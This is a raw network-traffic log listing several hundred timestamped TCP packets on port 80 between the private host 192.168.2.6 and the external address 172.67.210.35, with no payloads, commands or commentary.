Jan 21, 2024 17:27:13.221924067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221936941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221950054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221950054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.221961975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221973896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221987963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.221991062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222001076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222021103 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222044945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222062111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222074986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222086906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222099066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222105026 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222114086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222126007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222131968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222138882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222163916 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222178936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222395897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222409010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222420931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222434998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222448111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222451925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222480059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222528934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222542048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222553968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222565889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222578049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222579002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222601891 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222625971 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222721100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222733974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222745895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222757101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.222783089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.222798109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223308086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223321915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223361969 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223491907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223505020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223516941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223530054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223542929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223543882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223557949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223572016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223577023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223597050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223606110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223618984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223630905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223643064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223649025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223655939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.223666906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.223700047 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224178076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224189997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224203110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224245071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224354029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224368095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224430084 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224524975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224538088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224550009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224561930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224575043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224576950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224586964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224594116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224600077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224615097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224627972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.224632025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224657059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.224667072 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225150108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225163937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225174904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225207090 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225332975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225346088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225358009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225369930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225383997 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225390911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225406885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225430012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225786924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225800037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225811958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225824118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225836992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225837946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225852013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225872993 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225893974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.225912094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225924969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.225964069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226116896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226130962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226142883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226155996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226170063 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226171017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226183891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226205111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226222038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226475954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226490021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226501942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226528883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226644993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226659060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226670027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226681948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226695061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226696014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226708889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226717949 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226723909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226746082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226764917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226768017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226778984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226836920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.226950884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.226963043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227003098 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227494001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227507114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227519035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227531910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227545977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227549076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227557898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227571964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227581024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227586985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227600098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227606058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227623940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227632999 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227638006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227649927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227673054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227684021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.227824926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227838993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.227878094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228336096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228349924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228360891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228405952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228526115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228538990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228550911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228563070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228574991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228576899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228590012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228593111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228602886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228615999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228625059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228631020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228643894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228647947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228656054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.228672981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.228692055 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229183912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229360104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229403973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229492903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229506969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229518890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229535103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229547024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229548931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229562044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229574919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229574919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229588985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229600906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229613066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229615927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229628086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229635954 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229651928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.229720116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.229764938 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230261087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230273962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230287075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230299950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230313063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230319977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230333090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230343103 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230348110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230361938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230377913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230410099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230762005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230775118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230787039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230801105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230814934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230815887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230828047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230840921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230842113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230854034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230873108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230875015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230885983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230899096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230911016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230922937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.230942965 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230942965 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.230961084 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231169939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231210947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231529951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231544018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231590986 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231718063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231731892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231743097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231755972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231767893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231767893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231781960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231791019 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231795073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231827974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231882095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231895924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231908083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231920958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231926918 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231935978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.231950045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.231992006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232372046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232537985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232584000 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232727051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232739925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232752085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232764006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232775927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232779980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232789040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232800961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232806921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232812881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232825994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232836962 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232841015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232860088 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232882023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.232886076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232898951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.232939005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233448982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233462095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233474016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233485937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233500004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233504057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233513117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233526945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233530998 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233552933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233647108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233659029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233669996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233683109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233690023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233695984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233709097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233717918 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233726978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.233751059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.233782053 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234456062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234468937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234481096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234493017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234505892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234517097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234519005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234534025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234534025 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234546900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234560013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234563112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234574080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234601021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234620094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234623909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234632015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234642982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234675884 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.234810114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.234852076 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235171080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235183954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235234022 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235294104 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235312939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235326052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235337973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235349894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235363007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235375881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235382080 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235416889 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235786915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235800028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235840082 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.235912085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235924959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235935926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235948086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235959053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.235960960 CET	49713	80	192.168.2.6	172.67.210.35
